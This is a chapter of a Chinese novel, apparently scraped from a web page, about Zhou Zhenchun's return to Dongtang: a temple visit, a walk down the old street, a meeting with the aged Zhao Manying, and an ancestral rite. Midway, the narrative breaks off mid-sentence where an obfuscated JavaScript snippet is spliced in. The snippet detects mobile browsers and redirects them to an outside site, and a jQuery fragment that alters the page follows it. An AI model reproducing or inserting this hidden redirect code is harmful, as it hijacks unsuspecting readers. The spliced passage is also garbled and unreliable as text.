“寺院所属万柯公司,真正说起二姐夫才是这寺院的大堂主,连这地上一粒沙尘都得归您管束。”
“别给我用你的那些所谓的佛言禅理打哑迷。我减了你们的工资,对我怀恨在心吧?”
寺院发放僧尼津贴每月九百起步,往上一层升三百,到了班首执事管理层,每月可领取近三千补贴,远远超出当地居民平均收入,主管财务的喻蓓不熟悉冬塘当地的生活情况,晓秀自幼养尊处优,不问这些杂务,报到周振春那里,他大手一挥,从班首执事管理层到最高职位,一律减三分之一。
晓秀独居在一栋僻静的屋子里,宽敞的房间供奉佛像佛经。潜心修行的情景令人感动。
经卷、佛像的装饰,连净水杯等这等小的佛具,都制作得精致优美,显现出真心诚意的信念,无微不至的呵护。青灰色帷帘隔扇门后面是隔壁是打坐禅房。
晓秀先替周振春雪秀各人斟壶峻峰山涧的毛尖茶。她告诉他们说:
“今年开春的头一茬新茶。我也舍不得喝,也许是为你们特意准备的,也许是自己之前自斟自饮喝过量了。”
她说完,拉开隔扇门,入里把一盘密橘端出来,放在台上。
梁惠妍显出小心谨慎的样子,好像这里没有她的容身之地,显得恭敬不安。在周振春晓秀面前,神情十分庄重,唯唯诺诺,说话的声音非常低微,像是气力不足似的。
“这是冬湖尼姑庵名册。”
梁惠妍说着,显得特别拘束,将一本名册递给周振春,
“基本上都是五十、六十几岁的老人家,有些走路都不行,自顾不暇。冬湖那里确实很清静,可也却非常寂寞。一些体力劳动也不能总是请义工,好些年轻的义工到了里面,呆不了半天事没做完就走了。”
周振春接过,直接递到晓秀手里。
梁惠妍又从居士锦囊里拿出油皮纸小包,递交给周振春:
“这是先祖捐建冬湖尼姑庵的记录本。只因为太年久,只保存两页。我们是这次从大雄宝殿丹波座上发现的。”
周振春小心翼翼地一层一层打开,里面就两片小纸片,但保存完好,尽管边角己经磨碎成线状,上面隶书字清晰可见:
周士元捐赠,落笔日期,嘉庆六年 。也是1802年,历史上这年是多事之秋:
白莲教、天地会起义、世界局势,拿破仑终身执政、西点军校建校。
二百多年前的先祖,是不是退居山林隐姓埋名的义军,用劫来的金银珠宝巨额的财富来此开山劈地?购置田产家业,这不得而知。
先祖周士元传到周振春这一代已经十二代人。冬子修子家子这一代,已是第十三代传人。
“你带回香港保存起来。”
周振春递到雪秀手里,再嘱咐她,
“再做一个防潮防霉的盒子,永久收藏。不要有最遗憾就是忘记了的。谢谢圣姑。”
之前老爷爷说过,但并未证实,现在得到记载的文书,确认了祖父所言的事实。
并不感觉惊讶的周振春站了起身,后退两步,弯腰低头朝梁惠妍恭敬施了个礼。
僧尼们列队走进大殿诵经,然后撒供神的花瓣,接着响起节奏鲜明吉祥如意的钟声。
“二姐,今晚可以住酒店吗?”
“我?……”
雪秀没反应过来,她看了一眼晓秀,再把目光投向周振春。
晓秀出家后,不能入住牛家塆度假村周家老宅,这是周振春对晓秀特意的限制。
“我每月有两晚下凡夜宿酒店,以了解人间苦乐,伴乐者以歌,替苦者祛灾。我想二姐今晚陪我一宿。”
晓秀半真半假地笑着说,她把她的手机从布袋里拿出来,看来是要给酒店打电话准备订房间。
“这怎么可以?”
雪秀有点惊讶,她看着晓秀,这次特意与周振春携子女认祖归宗,放着牛家塆度假村周家老宅好好的不住,怎能住酒店?
她觉得晓秀把话题扯得有点儿不着边际,让本来不想入寺的周振春不快,她扯了扯晓秀的衣袂让她毋需再言,示意让妹妹领她去禅房。
“你这次不要进去了。你每次进去一次,我都得诵三天经忏悔。”
晓秀调皮地笑着对雪秀说。
雪秀失望地看着晓秀,但晓秀却不知趣地告诉她说,
“要是怡子来,是可以的。”
“别提孩子们的事。”
周振春果然不悦地站了起身,目视着晓秀严肃地对她说,
“以后凡是老周家的孩子,入寺门须经得我同意。不要问为什么。我可以明确地告诉你:适当的时候我会把酒店与寺院剥离开来。”
周振春态度冷漠,语言坚决,让众人噤若寒蝉,大家只有伫候而立缄口无言。
周振春看出晓秀虽已遁入佛门,依然眷恋世俗,并未完全了却红尘。
侍者要烹茶待客,又取来笔砚纸墨,请周振春题墨。
“佛家圣地,不敢妄议”。
周振春挥手拒绝,朝门外走去。
雪秀看着妹妹,握住妹妹的手也放开了,再把脸侧到一边,大概是躲在掉眼泪。
遭到周振春严辞的斥责,妹妹的手冰凉,尽管现在是温暖如夏的阳春时节。
“唉。我也不知道现在到底算不算出家啊。
剃度披架裟僧衣素食三年整,诵经念佛千余日,常常不明佛与尘身份至今还恍惚中。心里没有太阳,修行于群山寂静之中,居此尘埃不染,望眼看山视水,印证梦幻泡影如是观。求得天空高远,云朵漂浮,悟透本来心。没有满心的诚意,去‘剪一片白云补衲,邀半轮明月看经’。正如二姐夫所言,我是以逃世的方式遁入佛门。只能说,悟道浅显,六根不净,尘世未了。”
晓秀这才反应过来,由于自己的冒冒失失,引起周振春的不快而懊悔。
一个出家人,还会有满怀怨恨和愤怒的情绪吗?身离俗世,心却不舍尘世之迷情,令人何等不堪?难道整日守着青灯古佛,佛法黄卷唱法诵经,是在悠闲度日?
走出寺院的周振春眼见晓秀仍是一副肆无忌惮的样子,却在心里叹息:坐诵佛经身着袈裟,并不指望修行就能净化心灵,去超脱自我。如果是一个优秀者,他即使身处于凡人尘世中,人生本来都是一场随时随地的漫长修行。
酒店的确很赚钱,单靠利润足以维持寺院的正常运转,自己作为主持只要好好运用这笔钱,在寺院修身养性的生活也就会过得很舒适。
晓秀有点不安。刚才周振春说要把寺院与酒店剥离开来,让她意识到自己是在什么地方得罪了这个大当家的,这可不是在万柯公司自已可以率性而为。寺院要养百几十人,一旦酒店与寺院剥离开,寺院就会难以维持下去。
冬塘毕竟是山中小镇,峻峰山寺院不是名刹,几乎没有任何捐赠物资,仅靠为数不多的香客供养也不可能。
晓秀没有把这种不安的心情吐露出来,但姐姐雪秀很理解她。
晓秀虽已出家,毕竟年轻,独自一人管着百几十的僧尼,一旦没有酒店供养,晓秀在寺院就会像苦行僧那样捉襟见肘。妹妹即使是出家人,仍想能够过着称心如意的日子。
“二姐夫不会真的把酒店收回吧?”
晓秀不无担心地问雪秀,她用恳求的语气对雪秀说,
“二姐你一定得帮我。”
“他只是说说,谁让你还是那么莽莽撞撞的呢?”雪秀安慰妹妹。
“我是看到你们来太高兴昏了头。保证以后在二姐夫面前不再粗率,保持小心谨慎。”
晓秀看着姐姐雪秀,眼睛里闪现安慰的神情。
………
寺院附近街道的住家,大多已变成了饭店兼旅馆,而且周边还有许多正在扩建的房子,
附近己经没有了空地,谁又能保证今后不在那上面盖起怪里怪气的新房子。
但愿不会把乌浟和冬塘变成了工业区。
周振春震惊之余,心中懊愧不已。
他知道,天长日久,当地居民追求经济效益的同时,势必会对峻峰山的生态环境造成很大的伤害。
“无终始,无成与毁”,周振春想起古书这句话来,他觉得尽管现在无论怎样热烈的场面,在他看来冬塘古镇就是要应该保留之前的幽居安静,清新雅洁的环境。尽量以原生态的面貌呈现在世人眼前。
周振春在车里看到路边上的那些新盖的房子自语道:
“从发展趋势来看,整个冬塘古镇可能用不了多久,就像西山一样了。”
弟弟周振云在介绍木铺街各家的主人和用途,跟在周振春雪秀后面告诉道。
周振春对木铺街的记忆,还停留在往昔童年和少年的时光中。那时候的木铺街只是四个生产队农户的农舍。
这些住在木质建筑农舍的农民,个个都是周振春熟悉的人。
第九生产队女社员赵曼英更是记忆中最深刻的人。那时她三十岁出头,年纪轻轻失去了男人,独自抚养两个女儿,家里穷困潦倒。
那年深冬她带着七岁大一点女儿去牛姥山茶园那竹林里偷笋,让周振春雪秀逮个正着。
“她家是最早开店的。这女人虽是苦命人过来,但头脑很灵活,只是现在上了岁数了。”
周振云还在说起赵曼英,他很明白哥哥的心思,知道哥哥想要听什么。
周振春目视赵曼英的商店一会儿,再抬脚继续前行。
从他上世纪七十年代初离别冬塘,如今漫步在木铺街头,这时候时光已经过去了三十二年了。
周振春弃雪秀事件后,俩人就再没在木铺街道上走过。
赵曼英商店的对面却是孤零零一家外地人租住破旧的小药铺。蟑螂药的招牌明显地立在店铺入口的玻璃门一旁。
有两家对称的相同的杂货店,立于木铺街头的一角,应该是改革开放后的钢筋混凝土建筑。
人民公社时代的供销社被分割成很多的小商店,昔日作为冬塘镇中心区前面的广场,摆满了一排排水果摊。
通往公社大院的拐角山坡被夷为平地,新盖了一幢混凝土房子。门面朝着路口,店铺里墙上货架上挂满了五颜六色出售的衣服。
春子想寻找三十九年前的景象:公社大院、供销社的楼房、夏日让人沁凉的冰厂、月夜当中幽寂的九鹤桥,冬塘河上潺潺的流水……
挺拔在区政府古教堂那宽广庭园里桦树林,池塘边的杏树,还有冬河岸上的垂柳……
对木铺街的记忆,雪秀日记里有这么一段话:
“大概是由于山中小城的幽雅和清新自然气息的缘故,厚重的木板门和雕花的格子窗,成排昏暗而陈旧的木建筑房子,虽然显得很简陋古老,看上去干净得不染纤尘。”
时令正值阳春,周振春知道,站在昔日的公社大楼上,可以远眺小城四周高耸的山峦苍翠的绿韵,街道上巷子里河湖边,到处的树木漫空笼翠新长的嫩叶。
冬塘的春天,少女时代的雪秀在日记里也有过这样的描述:
“这是一片平坦的草坪地,杨柳和芙蓉树不规则地散布其间。草坪尽头就是高高的山丘,地面上泛出淡淡的绿色,光照充足的地方缀满了嫩嫩的新草。
“春光明媚的时候,沉寂一冬的冬河,也发出哗哗的流水声。密布在山上丛林中的冰雪,在春风化雨的时节,融化成水,变成无数条涓涓的细溪,汇入冬河。
“看了看四周,又望了望眼前的草地,那边山丘陡壁上长着的藓苔,泛发出翠郁的光亮。而攀伏在陡壁上的那些紫藤的茎叶,也已经是淡淡的鹅黄色的绿了。
“大地山川的丰姿,呈现在春日温煦的阳光之中。苍穹之下,万物正在蓄势待发。
“在寻找百合花的地上,眼前一只小小的蝉虫,在草尖上跳跃。它有着绿色的翅翼,阳光下样子非常娇艳。我们被它吸引着,兴致勃勃地在草地上追逐。
“冬花和细秀来了。看到小小的蝉虫后,觉得非常可爱。开始和哥哥姐姐一起寻找草尖上可爱的蝉虫。”
……
周振春对自己幼年少年的时光,时常于朦?胧胧中徘徊在似有若无的记忆边缘。
在漫长的岁月长河中,清晰地留在脑海里是那些让自己刻骨铭心的记念。
现在想起雪秀的日记,过去的记忆便一幕幕地浮现在眼前。
这难道是自己在衰老之中摇晃着对曾经青春的依恋?或者说是向往天真无邪的爱情?还是沉醉在竭力要拯救曾经熟悉故去少女美丽的梦境?
一个短发女子从周振春面前飘忽而过,她让周振春不由紧随其后跟着走了上去。
姑娘身着大红牡丹花色的外套,卡叽色类似旧时代杏黄纯棉的灯芯绒裤的长裤,扎着两根齐肩的短辫。全身上下整整齐齐的着装打扮。看上去就像是过去那个热情风趣天真的女孩。
周振春尾随那短辫女孩走去的时候,除了那女孩以外,什么也没看见。不知为什么,这个女孩唯独突然跳入他的眼帘。
也许是记住的缘故吧,女孩的背影和着装打扮,极象是三十几年前刻印在自己眼睛里了女孩的模样。
现代社会女孩穿着这么整整齐齐的衣服未免有些土气,但让人到中年稀有回乡的人却忆起当年的少年情怀的映像来。
女孩消失在木铺街拐角处只有一侧的纺织店里,周振春心中明白自己错以为把尾随的女孩,看成是三十几年前的旧人了。
这种时候遇见稍有类似往昔的现象,便会看成是自己的过去。
周振春的思想反复地在斗争,想去弄清楚昔日的房屋为什么要改为百货店水果店和药铺纺织店……
他觉得自己这些年来很快步入到衰退的状态,其实他才四十七岁的年龄。
事实上,整个冬塘镇木铺街是否
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199103|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
存在也不太明确。他只是在脑子里映现三十二年前街面上的幻觉。但无论怎么想象还是无法完整起来,心想大致能想起来多少也好。
冬湖林场改为国家森林公园。这是唯一三十二年后值得庆幸的事!
对周振春来说,那是故乡的去向。
就在周振春要走出木铺街拐向牛家冲道上的时候,听到旁边有人的呼唤:“是春子吗?是春子吗——”
周振春转回头,一个老妇人柱着长竹竿拐从他侧面朝他不停地挥手。
“我就想见见春子——”
形容枯槁白发苍苍的老妇人走向前喃喃地说,却被周振春随从们挡住了。
周振春示意随从让开,自己快步朝老妇人走过去。
老妇人激动地拉着周振春的手,用嘶哑的声音对他说,“三十几年了,才见到你的脸,握住你的手……你来冬塘总是坐在车里,想要看一眼你,也是模模糊糊的脸。很多人说你当了大老板,架子大。我说春子不是哪号人,春子心里苦着哩,才不愿下车让乡亲见着……我知道失去了人心中的滋味……”
赵曼英脸色苍白,身体象是要塌下去。
直至今日她和冬塘一些不明真相的人一样,以为雪秀真的纵身冬湖了。
“您老人家身体怎么样?”
周振春双手握住老人的手问。
“还好,只是胃有些不好。到我店里坐坐吧?”
“好!”周振春攥着赵曼英的手,情绪有些波动。
周振春进入赵曼英店里坐下后,云子和秋华侄子思冬侄女思雅也进来了。
“婶知道你们是尊贵的客人,婶招待不起!你们能进来在婶店里坐一下,婶已经很荣幸了!”
赵曼英絮絮叨叨的。她眼窝凹陷,脸上布满了粗糙皱纹,尽管对招待周振春充满兴奋,但依然掩饰不住她那病态性的身体。
她完全显现一副暮年老人奄奄一息的样子。
她把店柜台面不停地打开,把里面的饮料食品一一拿出来。
“你们想喝什么?我还得感谢周市长给我留下这屋子。”
赵曼英说,望向云子,朝云子双手合十行作揖状。
四十一岁的云子现在是西山市市长。他刚刚大学毕业的小女儿周思雅,这次随同周振春从总公司一同前来。
冬湖林场列入国家森林公园后,通往林场公路加宽整修,按路面设计赵曼英房屋是要拆迁的。但当时还在乌浟县任县长的云子硬生生地让马路在赵曼英屋前拐了过弯。
“婶,你就让我们喝口家乡的水吧。”
云子提醒忙于招待有些手足无措的赵曼英说。
“您愿意的话,我邀请您去我们家里作客。就这几天。”周振春真诚地对赵曼英说。
“哎哟,象我们这种身份,这种人……”
赵曼英受宠若惊。
“如果您接受邀请,去了我们家作客,我非常感谢您!”
周振春还是恳切地朝赵曼英点点头。
“好。我明天就去。我给你弄你爱吃的清乐汤。我总是记得那一年你和雪秀妹妹在我家吃清乐汤的样子。现在只要一想起,我做梦都在笑啊。”
……
屋与店铺推拉玻璃门进来一个中年妇人,她毕恭毕敬朝叫周振春周振云叔叔。她不知道怎么称呼幼年时几乎没有来往的秋华,或许已经不认识了。
她显得有些尴尬。
叫周振春周振云叔叔的是赵曼英的女儿,三十几年前那个邋邋遢遢的提着篮子偷笋的小姑娘,现在已是一个四十开外的中年妇人,穿着生意人黄色长马褂外套,细看上去还化了妆抹了口红。
但依然显示出一种健康的美。
赵曼英拥有这么大的一个店铺主,现在的日子应该过得很殷实,但她还是露出苦闷倾诉的神色,虽然她现在对周振春他们能光临自己的店铺里,蕴含着无可名状的欣喜。
她絮絮叨叨向周振春谈起他小时候的事,当然谈到她在竹林茶园偷笋让周振春他们抓住的事。她告诉周振春他们说:
“其实让你们孩子们逮到那不是第一次啊。已经是第三次了,常言道,事不过三。可我偏偏要往三字上钻,就活该让你们逮到了。后来雪秀替我送笋来,真真让我感激不尽了。”
“雪秀送笋给你?“周振春很惊讶。
“怎么,难道你不知道?”
“我不知道。”周振春摇了摇头。
那年冬,生产队长瑞金大叔让周振春和小伙伴祥子乃子去生产队牛家塆后山坳里,把长到茶园里的冬笋挖出来。
雪秀也跟着去了。她说虽然自己不是生产队上的人,但帮生产队挖冬笋让茶园有好收成,是一件非常有意义的事情,写起日记来,会很轻松。
“啊,她还是给我送来二个笋来。那真是个好姑娘,可是却偏偏走了那条路……”
赵曼英一下又嘤嘤地哭了起来。
“好了。谢谢婶了,我们走了。”
姐姐秋华很忌讳有人在弟弟面前谈及雪秀殉情的事,却偏偏让不明事理的赵曼英哭着说出来,这更加剧了一些在冬塘乡间的风传。
她拉起周振春站起身就往外走。
雪秀送了二个冬笋给赵曼英,并没有记在日记本里。
从赵曼英店铺里岀来,周振春在心里回记:
这三十二年来,周振春翻遍雪秀所有的日记,也没看到有写那一次去茶园挖冬笋的一篇。雪秀应该根本没写,当然她也没有跟自己说。
——看来挚爱自已的这个女人,在少女时期就一直对自己心存戒备。
周振春他们在逮到赵曼英偷的那些冬笋,三个伙伴就在山上私分了。
他们交给生产队里的,是他们自己挖的。
从木铺街出来,周振春回冬塘的消息沸沸扬扬地在镇上传开了。
他在木铺街时,好些乡亲已经认出他来,只是未能向前与他相认。
冬塘山区上岁数的中老年人,依然保持山区乡民憨厚本份的秉性。对位高权重的人,即使是过去自己再熟悉两小无猜的伙伴,也会心存敬畏,自觉地保持那份敬而远之的距离。
车队径直驶入天缝口,朝冬塘国家森林公园牛家塆度假村周家老宅方向而去。
冬塘牛家塆度假村周家老宅,在上世纪八十年代中期改为度假村后,期间经历过几次修缮,到了上世纪九十年代中期,是冬湖国家森林公园最豪华的酒店之一。但一直未对外经营,它只接待来冬湖森林公园考察入住的专家学者和工作人员,有时候也会入住来冬湖写生的一些美术学院的学生。
周振春创建万柯集团公司商业帝国后,现在的度假村主要的任务是为周家担任有往来的政商关系提供接待性的服务。
现在周振春和弟弟周振云的车队停在牛家塆度假村周家老宅屋后东南山坡下一片宽阔平坦停车场上。
众人在这里下了车,一行人沿着一条经过精心修剪的路径,向东南山一个山麓上缓慢前行。路径两边山花烂漫,蝶舞翩跹。一股春天山林的芬芳、泥土和草木馥郁的薰馨扑鼻而来。
在三十二年前那个岁末年初深冬的早上,周振春带雪秀来到一处缓坡看后山茶园的位置,周振春他们停下了脚步。
先到的侄子周思冬一行人早已在这里等候。看到周振春上来,他朝叔父走了过来。
“我外公一会儿上来。”他告诉叔父。
“仪式结束后,让你外公一起回西山,他同意吗?”周振春朝侄儿问。
“我跟他说了。他没作声。”
“噢?”
周振春应了一声,也没去问。他举目四望,如今这里是一片郁郁葱葱的常盘松树林和枝繁叶茂的芙蓉树。
挺拔的松树正在抽芽,春天色调更鲜。它下层的枝丫贴近地面伸展开去。
芙蓉树的新叶,也显得格外翠绿。
祖父去世后,二十几年来,这些从牛家塆村和冬湖森林公园各地移栽过来的树林,已经长得粗壮多姿。松树底下是满树怒放的山茶花。山风吹拂,松林发出簌簌的声音,宛如山林的乐章。四周的青松林芙蓉树围着山茶花中间的一个土堆,土堆上长着新春时节娇嫩的绿草。
三天后,在一个良辰吉时的日子里,周振春将携雪秀认祖归宗,在这儿向老爷爷叩拜告知老人雪秀的归来。
雪秀从此以周家二儿媳妇的身份正式岀现在众人面前。
“是周振春先生吗?”
从旁边花丛中走出一个削瘦的老人。
“——柯先生!”
周振春走向老人跟前,深深地朝老人鞠了个躬。
“先生,云子跟我说了。我和你们回西山住。”
柯景泉一见周振春就很客气地说道。而且很谦逊称呼周振春“先生”。
“好。我们有些事要征求您的意见。”周振春伸出双手握着柯景泉的手,告诉他说。
“我们很感谢您和周书记。思冬和云子全都告诉了我,我很满意。”
柯景泉还是非常客气地对周振春说,
“终于等到了这一天。您也不要再费心了。”
柯景泉在周振春的左侧站定下来。
他话语非常客气,像是在恳求恩赐。
“我想当面听听您的意见。”周振春很礼貌地回答柯景泉。
这二十几年来,无论与柯家的人怎么相处,大家相互间总是显得彬彬有礼,感觉总是这么陌生。
自从周振春弃雪秀另娶后,今日携雪秀回来,还要在牛家塆渡假村周家老宅举行隆重的认祖归宗仪式。这其间一些事项需要征求柯景泉的意见。尽管半年前云子和思冬已经一一与柯景泉胡老师商搉过。
但现在周振春的到来,与柯景泉面对面交谈,有着更加深挚的诚意。
尽管周振春知道,这只是出于一种礼节。
“爸!”周振云朝柯景泉喊了一声,走了过来,
“二哥想和您坐坐。”
周振云对岳父说。
“我只是怕耽误振春先生的时间。”
柯景泉还是显得很谦逊地说。
“二哥回来就是办二姨事的。”
周振云替自己的哥哥回答说。
“回冬塘,雪秀的事就是所有的事。”
周振春虽然把话说得很温和,但表达出来的语调很坚定。
大家简单交谈几句后,不再言语。周振春朝土堆正前方走过去,祭祀仪式开始。
周振春携雪秀一行人在土堆前伫立着,在默默祭拜之时,各人涌起不同的思绪。
思冬把手捧的鲜花递给叔父,周振春雪秀怀抱鲜花携着周思山、周思明、周思怡、周思诚四个子女走向土堆,夫妻俩弯腰曲膝把怀抱中的鲜花缓缓地放在土堆前面墓碑前,率领众子女面对土堆,深深地三鞠躬。
随后,子女们把带来的焚香和冥纸在土堆前点燃。袅袅升起的烟丝向天空宛如梦幻般飘逸而去。
祭祀祖父的仪式结束后,周振春再和雪秀众子女来到下面另一座小土堆前焚香烧纸。
小文归土后,这是周振春第一次携妻儿以祭祀的仪式来纪念她。
面对二嫂小文的土堆,周振春凝神而视,一次又一次环顾四周的山茶花和芙蓉树。小文自绝于周家,遭到周家的冷漠,她身后并没有予以她应有的尊重仪式,从回归故里到入土仅三天时间,场面冷漠而简单。
文言凯简约芳夫妇为失去年轻的女儿悲恸,更为周家的冷漠愤懑,夫妻俩几次哭晕在女儿的土堆前。
如今已过去十几年,作为当时已是周家的核心人物有话语权的周振春思忖着:是不是自己和周家的兄弟们、包括父亲周瑞年做得太过份?
绽开的山茶花红白相间,鲜艳无比,都很朵大。芙蓉树的枝丫,以奇异的弯曲姿态伸展着,互相盘缠。仿佛蓄储着期待已久的力量。
“初冬时,簇簇的芙蓉花把枝头都压弯了。”
柯景泉站在周振春身旁,顺着他望去的目光轻声地告诉他说。
也许是家乡池塘边的芙蓉花依依不舍的离去?还是芙蓉花盛开在这深山老林里太孤单,才这么相依相偎团团簇拥?
“这前面的芙蓉花树就是从池塘边移裁过来的?”
周振春明明知道,还是这么问。
“这些都是的。”
退到一旁的柯景泉告诉周振春说。他不忘文言凯简约芳夫妇的嘱托,每隔二三年会从牛家塆池塘边,把长势茂盛花开喜人的芙蓉树移栽到小文的土堆前。
“花是活的。它的生命虽然短暂,但活得绚丽夺目。来年再含苞开花,就像大自然一样充满勃勃的生机。”
周振春看着绽放的山茶花对着土堆轻声道。
“这样的花,就像二嫂一样,抵过长久的生命。”雪秀低声道,弯腰再朝土堆旁的山茶花深鞠一躬。
现在周振春携雪秀回来,可以告慰先人和己去的小文?包括这里的所有?从这牛家塆后山坡上祖先地里瞭望着冬塘古镇,又会是一番什么景象呢?又或说又会是一种什么样的心境呢?
确切地说,那至少有几许安慰。
眼前的记忆重现,复又消失。任凭幻觉浮沉,让昔日的感情复苏。
自己的善念在梦里被摇醒?三十几年前少男少女那些纯真的爱情往事,在拯救自己在衰老之中回顾往昔的邪恶?还是对青春失去的依恋?聆听那梦中呻呤般的呼唤,感受到爱的哀伤?
单从人的生命进程中来说,不外乎是生与死之间的事情。
周振春沉思良久后,仿佛从另一个世界回到现实中来。
他再一次又一次地环顾四周,仔细地?一遍又一遍打量着这里的一切:掩映在枝叶扶疏芙蓉树里的山茶花确有红花白花,还有许许多多含苞待放的蓓蕾。
阳光好像凝聚在花上,在花瓣上飘忽着。
这时,他才发现,透过松树林墨绿的枝叶间隙,可以看见山下周家老宅古旧的房屋和远处峻峰山顶的浩瀚无垠的天空。